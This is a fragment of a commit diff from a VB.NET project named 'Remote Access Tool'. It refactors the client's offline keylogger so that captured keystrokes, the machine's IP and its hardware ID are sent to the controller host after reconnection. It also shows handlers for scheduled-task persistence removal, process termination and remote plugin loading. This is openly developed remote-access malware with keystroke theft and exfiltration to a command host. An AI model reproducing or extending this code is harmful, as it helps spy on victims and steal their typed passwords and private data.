<Project>{354d5d01-64ba-40d8-bf97-659feff41efb}</Project>
109-
<Name>Persistence</Name>
103+
<ProjectReference Include="..\Plugins\Offline\Offline.csproj">
104+
<Project>{d317ba4e-5818-4fc4-aa4e-eea824317759}</Project>
105+
<Name>Offline</Name>
110106
</ProjectReference>
111107
</ItemGroup>
112108
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />

‎Remote Access Tool/ClientVB/Networking/ClientHandler.vb

+4-7
Original file line numberDiff line numberDiff line change
@@ -68,10 +68,10 @@ Namespace Client
6868
Return False
6969
End Function
7070

71-
Private Sub StopOfflineKeyLogger()
72-
Plugin.Launch.StopHook()
73-
Plugin.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, New KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID))
74-
Plugin.Launch.ClearKeyStroke()
71+
Friend Shared Sub StopOfflineKeyLogger()
72+
Offline.Keyloggers.Launch.StopHook()
73+
Offline.Keyloggers.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, New KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID))
74+
Offline.Keyloggers.Launch.ClearKeyStroke()
7575
StarterClass.KeylogOn = False
7676
End Sub
7777

@@ -84,9 +84,6 @@ Namespace Client
8484
Me.HWID = connectionPacket.HWID
8585
Me.baseIp = socket.LocalEndPoint.ToString()
8686
SendPacket(connectionPacket)
87-
If StarterClass.KeylogOn Then
88-
StopOfflineKeyLogger()
89-
End If
9087
Receive()
9188
Else
9289
ConnectStart()

‎Remote Access Tool/ClientVB/Networking/PacketHandler.vb

+5-2
Original file line numberDiff line numberDiff line change
@@ -25,14 +25,17 @@ Namespace Client
2525
Select Case packet.packetType
2626
Case PacketType.CONNECTED
2727
StarterClass.clientHandler.baseIp = packet.baseIp
28+
If StarterClass.KeylogOn Then
29+
ClientHandler.StopOfflineKeyLogger()
30+
End If
2831

2932
Case (PacketType.CLOSE_CLIENT)
3033
StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
3134

3235
Case (PacketType.UNINSTALL_CLOSE_CLIENT)
33-
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName)
36+
Offline.Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName)
3437

35-
Case Else
38+
Case Else
3639
pluginDelegateAsync.BeginInvoke(packet, New AsyncCallback(AddressOf EndLoadPlugin), Nothing)
3740

3841
End Select

0 commit comments

Comments
 (0)